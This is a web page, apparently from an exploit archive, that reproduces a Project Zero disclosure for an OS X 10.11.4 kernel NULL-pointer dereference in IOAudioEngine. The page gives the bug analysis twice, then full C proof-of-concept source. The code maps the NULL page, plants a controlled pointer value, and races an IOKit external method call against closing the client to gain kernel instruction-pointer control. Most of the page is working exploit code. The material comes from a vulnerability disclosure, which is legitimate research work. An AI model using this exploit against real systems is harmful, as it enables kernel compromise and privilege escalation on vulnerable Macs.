扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776 IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL IOReturn IOAudioEngineUserClient::closeClient() { audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this); if (audioEngine && !isInactive()) { if (isOnline()) { stopClient(); } audioEngine->clientClosed(this); audioEngine = NULL; External method 0 uses audioEngine without checking if it's NULL: IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) { audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); IOAudioStream * audioStream; IOReturnresult = kIOReturnBadArgument; audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); audioStream = audioEngine->getStreamForID(audioStreamIndex); Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member: IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) { IOAudioStream * stream = NULL; assert(reserved); if (reserved->streams) { stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID)); } return stream; } getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control. tested on OS X 10.11.4 (15E65) MacBookAir 5,2 */ // ianbeer // clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 /* OS X exploitable kernel NULL pointer dereference in IOAudioEngine IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL IOReturn IOAudioEngineUserClient::closeClient() { audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this); if (audioEngine && !isInactive()) { if (isOnline()) { stopClient(); } audioEngine->clientClosed(this); audioEngine = NULL; External method 0 uses audioEngine without checking if it's NULL: IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) { audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); IOAudioStream * audioStream; IOReturnresult = kIOReturnBadArgument; audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); audioStream = audioEngine->getStreamForID(audioStreamIndex); Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member: IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) { IOAudioStream * stream = NULL; assert(reserved); if (reserved->streams) { stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID)); } return stream; } getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control. tested on OS X 10.11.4 (15E65) MacBookAir 5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> unsigned int selector = 0; uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint8_t inputStruct[40960]; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[40960] = {0}; size_t outputStructCnt = 0; io_connect_t global_conn = MACH_PORT_NULL; void set_params(io_connect_t conn){ global_conn = conn; selector = 0; inputScalarCnt = 4; inputStructCnt = 0; outputScalarCnt = 16; outputStructCnt = 40960; } void make_iokit_call(){ IOConnectCallMethod( global_conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); } OSSpinLock lock = OS_SPINLOCK_INIT; void* thread_func(void* arg){ int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } // usleep(1); make_iokit_call(); return NULL; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = '\xff'; } *((uint64_t*)0x28) = 0xffffff4141414141; OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, thread_func, NULL); mach_port_t conn = get_user_client("IOAudioEngine", 0); set_params(conn); OSSpinLockUnlock(&lock); IOServiceClose(conn); } |
体验盒子
